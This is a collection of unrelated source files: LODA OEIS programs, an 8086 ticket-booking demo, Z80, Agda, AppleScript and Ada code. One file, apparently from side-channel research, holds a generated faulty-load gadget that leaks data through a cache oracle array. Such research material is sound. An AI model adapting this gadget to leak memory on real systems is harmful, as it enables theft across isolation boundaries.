mod $1,$3
add $1,1
trn $1,1
|
programs/oeis/178/A178300.asm | neoneye/loda | 22 | 240411 | ; A178300: Triangle T(n,k) = binomial(n+k-1,n) read by rows, 1 <= k <= n.
; 1,1,3,1,4,10,1,5,15,35,1,6,21,56,126,1,7,28,84,210,462,1,8,36,120,330,792,1716,1,9,45,165,495,1287,3003,6435,1,10,55,220,715,2002,5005,11440,24310,1,11,66,286,1001,3003,8008,19448,43758,92378,1,12,78,364,1365,4368,12376,31824,75582,167960,352716,1,13,91,455,1820,6188,18564,50388,125970,293930,646646,1352078
lpb $0
mov $1,1
add $1,$0
add $2,1
sub $0,$2
lpe
bin $1,$0
mov $0,$1
|
source.asm | Nishanth-Gobi/Railway-ticket-booking-system | 0 | 29035 | org 100h
include 'emu8086.inc'
.data
m0 dw 10,13,10,13,"*** Welcome to Railway Ticket Booking Coimbatore*** $"
m1 dw 10,13,10,13,"1) User",10,13,10,13,"2) Admin $"
m2 dw 10,13,10,13,"1) Bangalore",10,13,10,13,"2) Chennai",10,13,10,13,"3) Cochin",10,13,10,13,"4) Palakad $"
m3 dw 10,13,10,13,"Enter your choice: $"
m4 dw 10,13,10,13,"Available Destinations: $"
m5 dw 10,13,10,13,"Invalid choice! Please re-enter: $"
m6 dw 10,13,10,13,"Please pay: $"
m7 dw 10,13,10,13,"Enter $"
m8 dw 10,13,10,13,"All tickets Booked! $"
m9 dw 10,13,10,13,"Tickets available $"
m10 dw 10,13,10,13,"Confirm booking?",10,13,10,13,"Enter 1 to confirm (or) 0 to Exit $"
m11 dw 10,13,10,13,"Your unique user ID is: $"
m12 dw 10,13,10,13,"Ticket Booked, enjoy your journey $"
m13 dw 10,13,10,13,"Initial ticket count: $"
m14 dw 10,13,10,13,"New ticket count: $"
m15 dw 10,13,10,13,"1)Add tickets",10,13,10,13,"2)Ckeck unique key",10,13,10,13,"3)End Service $"
m16 dw 10,13,10,13,"Select station: $"
m17 dw 10,13,10,13,"Base value of Unique key: $"
m18 dw 10,13,10,13,"Incrementation value for the keys: $"
m19 dw 10,13,10,13,"Enter additional ticket count (with '0' as prefix): $"
m20 dw 10,13,10,13,"Ticket count updated $"
f dw 100,45,75,60 ;ticket costs array
t dw 010,010,010,010 ;no. of tickets for respective trains
n db 4 ;no. of stations that has trains from coimbatore
k dw 11 ;unique user ID's base value
i dw 7 ;incrementation value for user ID
d dw 0 ;destination value
.code
mov cx, k
start:
call CLEAR_SCREEN
;UI Home
mov ah, 09
lea dx, m0
int 21h
; User/ Admin
mov ah, 09
lea dx, m1
int 21h
mov ah, 09
lea dx, m3
int 21h
l0:
mov ah, 01
int 21h
mov ah, 0
sub ax, 48
cmp ax, 01
jne I1
jmp I3
I1:
cmp ax, 02
jne I2
jmp I4
I2:
mov ah, 09
lea dx, m5
int 21h
loop l0
; User portal
I3:
call CLEAR_SCREEN
;Getting the destination as user input and it's validation
mov ah, 09
lea dx, m4
int 21h
mov ah, 09
lea dx, m2
int 21h
mov ah, 09
lea dx, m3
int 21h
l1:
mov ah, 01
int 21h
mov ah, 0
sub ax, 48
cmp al, n ; option <= no. of available stations
jle j1
jmp j2
j1:
cmp al, 0 ; option > 0
jg j3
j2:
mov ah, 09
lea dx, m5
int 21h
loop l1
j3:
dec ax
mov bx, 02
mul bx
mov d, ax
call CLEAR_SCREEN
;check for tickets
mov si, d
cmp t[si], 0
jg j4
mov ah, 09
mov dx, m8
int 21h
jmp start
j4:
mov bx, t[si]
dec bx
mov t[si], bx
mov ah, 09
lea dx, m9
int 21h
;Confirmation
mov ah, 09
lea dx, m10
int 21h
mov ah, 01
int 21h
sub ax, 48
cmp al, 01
jne start
;payment
mov si, d
mov ah, 09
lea dx, m6
int 21h
mov ax, f[si]
call PRINT_NUM
PRINTN 'Rs/-'
;print unique key for user
mov ah, 09
lea dx, m11
int 21h
mov ax, cx
call PRINT_NUM
add cx, i
jmp end
;Admin portal
I4:
mov ah, 09
lea dx, m15
int 21h
mov ah, 09
lea dx, m3
int 21h
l2:
mov ah, 01
int 21h
mov ah, 0
sub ax, 48
cmp ax, 1
je j5
cmp ax, 2
je j6
cmp ax, 3
je j7
mov ah, 09
lea dx, m5
int 21h
loop l2
;add tickets
j5:
call CLEAR_SCREEN
mov ah, 09
lea dx, m16
int 21h
mov ah, 09
lea dx, m2
int 21h
mov ah, 09
lea dx, m3
int 21h
mov ah, 01
int 21h
mov ah, 0
sub ax, 48
mov si, ax
dec si
mov ax, si
mov bx, 02
mul bx
mov si, ax
;display initial count
mov ah, 09
lea dx, m13
int 21h
mov ax, t[si]
call PRINT_NUM
;get additional count
mov ah, 09
lea dx, m19
int 21h
mov ah, 01
int 21h
call SCAN_NUM
;update count
mov ax, t[si]
add ax, cx
mov t[si], ax
mov ah, 09
lea dx, m20
int 21h
;display updated count
mov ah, 09
lea dx, m14
int 21h
mov ax, t[si]
call PRINT_NUM
jmp end
;Display Key details
j6:
call CLEAR_SCREEN
mov ah, 09
lea dx, m17
int 21h
mov ax, k
call PRINT_NUM
mov ah, 09
lea dx, m18
int 21h
mov ax, i
call PRINT_NUM
jmp end
;Terminate
j7:
jmp terminate
end:
jmp start
terminate:
ret
DEFINE_PRINT_NUM
DEFINE_PRINT_NUM_UNS
DEFINE_CLEAR_SCREEN
DEFINE_SCAN_NUM
end
|
libsrc/input/spectrum/in_Pause.asm | meesokim/z88dk | 0 | 170484 | ; uint in_Pause(uint ticks)
; 09.2005 aralbrec
PUBLIC in_Pause
EXTERN in_WaitForNoKey, in_WaitForKey, t_delay
; Waits a period of time measured in milliseconds and exits
; early if a key is pressed
;
; enter: HL = time to wait in ms, if 0 waits forever until key pressed
; exit : carry = exit early because of keypress with HL = time remaining
; no carry = exit after time passed
; uses : AF,BC,DE,HL
.in_Pause
ld a,h
or l
jr z, waitforkey
.loop
; wait 1ms then sample keyboard, in loop
; at 3.5MHz, 1ms = 3500 T states
ex de,hl
ld hl,3500 - 78
call t_delay ; wait exactly HL t-states
ex de,hl
dec hl
ld a,h
or l
ret z
xor a
in a,($fe)
and 31
cp 31
jr z, loop
scf
ret
.waitforkey
call in_WaitForNoKey
jp in_WaitForKey
|
Examples/ch09/Cmpsb.asm | satadriver/LiunuxOS | 0 | 100696 | TITLE Comparing Strings (Cmpsb.asm)
; This program uses CMPSB to compare two strings
; of equal length.
INCLUDE Irvine.inc
.data
source BYTE "MARTIN "
dest BYTE "MARTINEZ"
str1 BYTE "Source is smaller",0dh,0ah,0
.code
main PROC
startup
cld ; direction = up
mov esi,OFFSET source
mov edi,OFFSET dest
mov cx,LENGTHOF source
repe cmpsb
jb source_smaller
jmp quit
source_smaller:
mov edx,OFFSET str1
call WriteString
quit:
exit
main ENDP
END main |
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1002.asm | ljhsiun2/medusa | 9 | 163147 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1d875, %rax
nop
sub $12845, %r15
movb (%rax), %cl
nop
add %rdi, %rdi
lea addresses_normal_ht+0x18819, %rsi
lea addresses_WC_ht+0x965, %rdi
nop
nop
nop
nop
nop
and %r12, %r12
mov $22, %rcx
rep movsl
nop
sub %rcx, %rcx
lea addresses_A_ht+0x11075, %r12
clflush (%r12)
nop
nop
nop
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%r12)
nop
nop
nop
nop
nop
xor $17287, %rax
lea addresses_normal_ht+0x6135, %rsi
lea addresses_D_ht+0x4475, %rdi
nop
nop
nop
nop
nop
dec %r12
mov $63, %rcx
rep movsl
nop
nop
xor $52487, %r15
lea addresses_UC_ht+0x161a5, %rsi
lea addresses_normal_ht+0x11835, %rdi
clflush (%rsi)
nop
nop
nop
sub %r12, %r12
mov $56, %rcx
rep movsw
nop
nop
nop
nop
sub %r10, %r10
lea addresses_A_ht+0x18e2d, %r12
nop
nop
nop
nop
nop
dec %r15
mov (%r12), %rcx
nop
nop
inc %rsi
lea addresses_WC_ht+0xb475, %rcx
nop
add %r12, %r12
mov (%rcx), %r10
cmp $33293, %rcx
lea addresses_WC_ht+0xf675, %r15
sub $46495, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%r15)
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x4ad5, %rsi
lea addresses_D_ht+0x1ac75, %rdi
clflush (%rdi)
add $39995, %r12
mov $54, %rcx
rep movsq
nop
nop
inc %rax
lea addresses_D_ht+0xef95, %rax
nop
add $55378, %r15
movb $0x61, (%rax)
nop
nop
nop
nop
sub $4270, %rax
lea addresses_UC_ht+0xa5c5, %rax
nop
nop
nop
cmp %rdi, %rdi
movw $0x6162, (%rax)
nop
sub $37151, %r15
lea addresses_A_ht+0x1ef5, %rsi
lea addresses_UC_ht+0x12db5, %rdi
nop
nop
nop
add %r15, %r15
mov $107, %rcx
rep movsw
and %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rsi
// Faulty Load
mov $0x5a65b50000000475, %r10
clflush (%r10)
nop
sub $53998, %r8
mov (%r10), %r14d
lea oracles, %r15
and $0xff, %r14
shlq $12, %r14
mov (%r15,%r14,1), %r14
pop %rsi
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': True, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/158/A158775.asm | neoneye/loda | 22 | 246986 | <filename>programs/oeis/158/A158775.asm<gh_stars>10-100
; A158775: a(n) = 1600*n^2 + 40.
; 1640,6440,14440,25640,40040,57640,78440,102440,129640,160040,193640,230440,270440,313640,360040,409640,462440,518440,577640,640040,705640,774440,846440,921640,1000040,1081640,1166440,1254440,1345640,1440040,1537640,1638440,1742440,1849640,1960040,2073640,2190440,2310440,2433640,2560040,2689640,2822440,2958440,3097640,3240040,3385640,3534440,3686440,3841640,4000040,4161640,4326440,4494440,4665640,4840040,5017640,5198440,5382440,5569640,5760040,5953640,6150440,6350440,6553640,6760040,6969640,7182440,7398440,7617640,7840040,8065640,8294440,8526440,8761640,9000040,9241640,9486440,9734440,9985640,10240040,10497640,10758440,11022440,11289640,11560040,11833640,12110440,12390440,12673640,12960040,13249640,13542440,13838440,14137640,14440040,14745640,15054440,15366440,15681640,16000040
mov $1,2
add $1,$0
mul $1,$0
mul $1,1600
add $1,1640
mov $0,$1
|
core/lib/groups/TruncationGroup.agda | cmknapp/HoTT-Agda | 0 | 3339 | <filename>core/lib/groups/TruncationGroup.agda
{-# OPTIONS --without-K #-}
open import lib.Basics
open import lib.types.Group
open import lib.types.Pi
open import lib.types.Sigma
open import lib.types.Truncation
open import lib.groups.GroupProduct
open import lib.groups.Homomorphisms
module lib.groups.TruncationGroup where
module _ {i} {El : Type i} (GS : GroupStructure El) where
Trunc-group-struct : GroupStructure (Trunc 0 El)
Trunc-group-struct = record {
ident = [ ident GS ];
inv = Trunc-fmap (inv GS);
comp = _⊗_;
unitl = t-unitl;
unitr = t-unitr;
assoc = t-assoc;
invl = t-invl;
invr = t-invr}
where
open GroupStructure
infix 80 _⊗_
_⊗_ = Trunc-fmap2 (comp GS)
abstract
t-unitl : (t : Trunc 0 El) → [ ident GS ] ⊗ t == t
t-unitl = Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(ap [_] ∘ unitl GS)
t-unitr : (t : Trunc 0 El) → t ⊗ [ ident GS ] == t
t-unitr = Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(ap [_] ∘ unitr GS)
t-assoc : (t₁ t₂ t₃ : Trunc 0 El) → (t₁ ⊗ t₂) ⊗ t₃ == t₁ ⊗ (t₂ ⊗ t₃)
t-assoc = Trunc-elim
(λ _ → Π-level (λ _ → Π-level (λ _ → =-preserves-level _ Trunc-level)))
(λ a → Trunc-elim
(λ _ → Π-level (λ _ → =-preserves-level _ Trunc-level))
(λ b → Trunc-elim
(λ _ → =-preserves-level _ Trunc-level)
(λ c → ap [_] (assoc GS a b c))))
t-invl : (t : Trunc 0 El) → Trunc-fmap (inv GS) t ⊗ t == [ ident GS ]
t-invl = Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(ap [_] ∘ invl GS)
t-invr : (t : Trunc 0 El) → t ⊗ Trunc-fmap (inv GS) t == [ ident GS ]
t-invr = Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(ap [_] ∘ invr GS)
Trunc-group : Group i
Trunc-group = record {
El = Trunc 0 El;
El-level = Trunc-level;
group-struct = Trunc-group-struct }
Trunc-group-× : ∀ {i j} {A : Type i} {B : Type j}
(GS : GroupStructure A) (HS : GroupStructure B)
→ Trunc-group (×-group-struct GS HS) == Trunc-group GS ×ᴳ Trunc-group HS
Trunc-group-× GS HS = group-ua
(record {
f = Trunc-rec (×-level Trunc-level Trunc-level)
(λ {(a , b) → ([ a ] , [ b ])});
pres-comp =
Trunc-elim
(λ _ → (Π-level (λ _ → =-preserves-level _
(×-level Trunc-level Trunc-level))))
(λ a → Trunc-elim
(λ _ → =-preserves-level _ (×-level Trunc-level Trunc-level))
(λ b → idp))} ,
is-eq _
(uncurry (Trunc-rec (→-level Trunc-level)
(λ a → Trunc-rec Trunc-level (λ b → [ a , b ]))))
(uncurry (Trunc-elim
(λ _ → Π-level (λ _ → =-preserves-level _
(×-level Trunc-level Trunc-level)))
(λ a → Trunc-elim
(λ _ → =-preserves-level _
(×-level Trunc-level Trunc-level))
(λ b → idp))))
(Trunc-elim (λ _ → =-preserves-level _ Trunc-level) (λ _ → idp)))
Trunc-group-hom : ∀ {i j} {A : Type i} {B : Type j}
{GS : GroupStructure A} {HS : GroupStructure B} (f : A → B)
→ ((a₁ a₂ : A) → f (GroupStructure.comp GS a₁ a₂)
== GroupStructure.comp HS (f a₁) (f a₂))
→ (Trunc-group GS →ᴳ Trunc-group HS)
Trunc-group-hom {A = A} {GS = GS} {HS = HS} f p =
record {f = Trunc-fmap f; pres-comp = pres-comp}
where
abstract
pres-comp : (t₁ t₂ : Trunc 0 A) →
Trunc-fmap f (Trunc-fmap2 (GroupStructure.comp GS) t₁ t₂)
== Trunc-fmap2 (GroupStructure.comp HS)
(Trunc-fmap f t₁) (Trunc-fmap f t₂)
pres-comp =
Trunc-elim (λ _ → Π-level (λ _ → =-preserves-level _ Trunc-level))
(λ a₁ → Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(λ a₂ → ap [_] (p a₁ a₂)))
Trunc-group-iso : ∀ {i} {A B : Type i}
{GS : GroupStructure A} {HS : GroupStructure B} (f : A → B)
→ ((a₁ a₂ : A) → f (GroupStructure.comp GS a₁ a₂)
== GroupStructure.comp HS (f a₁) (f a₂))
→ is-equiv f → Trunc-group GS ≃ᴳ Trunc-group HS
Trunc-group-iso f pres-comp ie =
(Trunc-group-hom f pres-comp ,
is-eq _ (Trunc-fmap (is-equiv.g ie))
(Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(λ b → ap [_] (is-equiv.f-g ie b)))
(Trunc-elim (λ _ → =-preserves-level _ Trunc-level)
(λ a → ap [_] (is-equiv.g-f ie a))))
Trunc-group-abelian : ∀ {i} {A : Type i} (GS : GroupStructure A)
→ ((a₁ a₂ : A) → GroupStructure.comp GS a₁ a₂ == GroupStructure.comp GS a₂ a₁)
→ is-abelian (Trunc-group GS)
Trunc-group-abelian GS ab =
Trunc-elim (λ _ → Π-level (λ _ → =-preserves-level _ Trunc-level)) $
λ a₁ → Trunc-elim (λ _ → =-preserves-level _ Trunc-level) $
λ a₂ → ap [_] (ab a₁ a₂)
|
src/TLE/Elfbot/Task/DYMOLabel/PrintLabel/script.applescript | theloopyewe/elfbot | 0 | 1508 | -- argv: template-file prints
on run argv
tell application "DYMO Label"
openLabel in (item 1 of argv)
repeat (item 2 of argv) times
printLabel2
end repeat
end tell
end run
|
programs/oeis/090/A090197.asm | karttu/loda | 1 | 171984 | <gh_stars>1-10
; A090197: a(n) = n^3 + 6*n^2 + 6*n + 1.
; 1,14,45,100,185,306,469,680,945,1270,1661,2124,2665,3290,4005,4816,5729,6750,7885,9140,10521,12034,13685,15480,17425,19526,21789,24220,26825,29610,32581,35744,39105,42670,46445,50436,54649,59090,63765,68680,73841,79254,84925,90860,97065,103546,110309,117360,124705,132350,140301,148564,157145,166050,175285,184856,194769,205030,215645,226620,237961,249674,261765,274240,287105,300366,314029,328100,342585,357490,372821,388584,404785,421430,438525,456076,474089,492570,511525,530960,550881,571294,592205,613620,635545,657986,680949,704440,728465,753030,778141,803804,830025,856810,884165,912096,940609,969710,999405,1029700,1060601,1092114,1124245,1157000,1190385,1224406,1259069,1294380,1330345,1366970,1404261,1442224,1480865,1520190,1560205,1600916,1642329,1684450,1727285,1770840,1815121,1860134,1905885,1952380,1999625,2047626,2096389,2145920,2196225,2247310,2299181,2351844,2405305,2459570,2514645,2570536,2627249,2684790,2743165,2802380,2862441,2923354,2985125,3047760,3111265,3175646,3240909,3307060,3374105,3442050,3510901,3580664,3651345,3722950,3795485,3868956,3943369,4018730,4095045,4172320,4250561,4329774,4409965,4491140,4573305,4656466,4740629,4825800,4911985,4999190,5087421,5176684,5266985,5358330,5450725,5544176,5638689,5734270,5830925,5928660,6027481,6127394,6228405,6330520,6433745,6538086,6643549,6750140,6857865,6966730,7076741,7187904,7300225,7413710,7528365,7644196,7761209,7879410,7998805,8119400,8241201,8364214,8488445,8613900,8740585,8868506,8997669,9128080,9259745,9392670,9526861,9662324,9799065,9937090,10076405,10217016,10358929,10502150,10646685,10792540,10939721,11088234,11238085,11389280,11541825,11695726,11850989,12007620,12165625,12325010,12485781,12647944,12811505,12976470,13142845,13310636,13479849,13650490,13822565,13996080,14171041,14347454,14525325,14704660,14885465,15067746,15251509,15436760,15623505,15811750
mov $1,$0
add $1,6
mov $2,$0
mul $2,$0
add $2,6
mul $1,$2
sub $1,35
|
boards/msp430nrf24plus/mspgd-board.ads | ekoeppen/MSP430_Generic_Ada_Drivers | 0 | 21543 | with Startup;
with MSPGD.GPIO; use MSPGD.GPIO;
with MSPGD.GPIO.Pin;
with MSPGD.UART.Peripheral;
with MSPGD.SPI.Peripheral;
package MSPGD.Board is
pragma Preelaborate;
package LED_RED is new MSPGD.GPIO.Pin (Port => 1, Pin => 0, Direction => Output);
package LED_GREEN is new MSPGD.GPIO.Pin (Port => 2, Pin => 4, Direction => Output);
package RX is new MSPGD.GPIO.Pin (Port => 1, Pin => 1, Alt_Func => Secondary);
package TX is new MSPGD.GPIO.Pin (Port => 1, Pin => 2, Alt_Func => Secondary);
package SCLK is new MSPGD.GPIO.Pin (Port => 1, Pin => 5, Alt_Func => Secondary);
package MISO is new MSPGD.GPIO.Pin (Port => 1, Pin => 6, Alt_Func => Secondary);
package MOSI is new MSPGD.GPIO.Pin (Port => 1, Pin => 7, Alt_Func => Secondary);
package SSEL is new MSPGD.GPIO.Pin (Port => 2, Pin => 1, Direction => Output);
package BUTTON is new MSPGD.GPIO.Pin (Port => 2, Pin => 3, Pull_Resistor => Up);
package UART is new MSPGD.UART.Peripheral (Speed => 9600, Clock => 8_000_000);
package SPI is new MSPGD.SPI.Peripheral (Module => MSPGD.SPI.USCI_B, Speed => 1_000_000, Clock => 1_000_000);
procedure Init;
end MSPGD.Board;
|
MySource/3-a+b-2c.asm | mdabdullahibnaharun/Assembly-Language | 0 | 92495 | <reponame>mdabdullahibnaharun/Assembly-Language
.model small
.stack 100h
.data
.code
main proc
;3a+b-2c = 3.1+2-2-2*2 = 1
mov ah, 01h
int 21h
mov bl,al ; al=1 bl=1
;new line
mov ah, 02h
mov dl, 0ah
int 21h
mov dl, 0dh
int 21h
add bl,al
add bl,al ; al=1, bl = 3 ] 3a
mov ah, 01h
int 21h ;al = 2
add bl, al ;bl = 3+2=5 al =2
;new line
mov ah, 02h
mov dl, 0ah
int 21h
mov dl, 0dh
int 21h
mov ah, 01h
int 21h ; al= 2cl = 2
mov cl,al ;cl = 2 al = 2
add cl,al ;cl = 4 al =2
sub bl,cl ;bl=1
sub bl,30h
;new line
mov ah, 02h
mov dl, 0ah
int 21h
mov dl, 0dh
int 21h
mov dl,bl
mov ah , 02h
int 21h
;new line
mov ah, 02h
mov dl, 0ah
int 21h
mov dl, 0dh
int 21h
end main
mian endp |
src/implementation/yaml-events-store.adb | persan/AdaYaml | 32 | 18252 | -- part of AdaYaml, (c) 2017 <NAME>
-- released under the terms of the MIT license, see the file "copying.txt"
package body Yaml.Events.Store is
function New_Store return Reference is
Ptr : constant not null Instance_Access := new Instance;
begin
return (Ada.Finalization.Controlled with Data => Ptr);
end New_Store;
function Value (Object : Reference) return Accessor is
((Data => Object.Data));
function Value (Object : Optional_Reference) return Accessor is
((Data => Object.Data));
function Optional (Object : Reference'Class) return Optional_Reference is
begin
Increase_Refcount (Object.Data);
return (Ada.Finalization.Controlled with Data => Object.Data);
end Optional;
function Required (Object : Optional_Reference'Class) return Reference is
begin
Increase_Refcount (Object.Data);
return (Ada.Finalization.Controlled with Data => Object.Data);
end Required;
procedure Memorize (Object : in out Instance; Item : Event; Force : Boolean)
is
use type Text.Reference;
begin
if Object.Stream_Count > 0 then
raise State_Error with
"cannot manipulate event queue while a Stream_Instance exists";
end if;
case Item.Kind is
when Annotation_Start =>
if Item.Annotation_Properties.Anchor /= Text.Empty then
Object.Anchor_Map.Include
(Item.Annotation_Properties.Anchor,
(Position => Object.Length + 1, Has_Been_Output => False));
elsif Object.Depth = 0 and not Force then
return;
end if;
if Object.Depth = After_Annotation_End then
Object.Depth := 1;
else
Object.Depth := Object.Depth + 1;
end if;
when Scalar =>
if Item.Scalar_Properties.Anchor /= Text.Empty then
Object.Anchor_Map.Include
(Item.Scalar_Properties.Anchor,
(Position => Object.Length + 1,
Has_Been_Output => False));
elsif Object.Depth = 0 and not Force then
return;
end if;
if Object.Depth = After_Annotation_End then
Object.Depth := 0;
end if;
when Mapping_Start =>
if Item.Collection_Properties.Anchor /= Text.Empty then
Object.Anchor_Map.Include
(Item.Collection_Properties.Anchor,
(Position => Object.Length + 1,
Has_Been_Output => False));
elsif Object.Depth = 0 and not Force then
return;
end if;
if Object.Depth = After_Annotation_End then
Object.Depth := 1;
else
Object.Depth := Object.Depth + 1;
end if;
when Sequence_Start =>
if Item.Collection_Properties.Anchor /= Text.Empty then
Object.Anchor_Map.Include
(Item.Collection_Properties.Anchor,
(Position => Object.Length + 1,
Has_Been_Output => False));
elsif Object.Depth = 0 and not Force then
return;
end if;
if Object.Depth = After_Annotation_End then
Object.Depth := 1;
else
Object.Depth := Object.Depth + 1;
end if;
when Mapping_End | Sequence_End =>
if Object.Depth = 0 and not Force then
return;
end if;
Object.Depth := Object.Depth - 1;
when Annotation_End =>
if Object.Depth = 0 and not Force then
return;
end if;
Object.Depth := Object.Depth - 1;
if Object.Depth = 0 then
Object.Depth := After_Annotation_End;
end if;
when others =>
if Object.Depth = 0 and not Force then
return;
elsif Object.Depth = After_Annotation_End then
Object.Depth := 0;
end if;
end case;
if Object.Length = Object.Data.all'Length then
Object.Grow;
end if;
Object.Length := Object.Length + 1;
Object.Data (Object.Length) := Item;
end Memorize;
procedure Memorize (Object : in out Instance; Item : Event) is
begin
Memorize (Object, Item, False);
end Memorize;
procedure Force_Memorize (Object : in out Instance; Item : Event;
Position : out Element_Cursor) is
begin
Memorize (Object, Item, True);
Position := Element_Cursor (Object.Length);
end Force_Memorize;
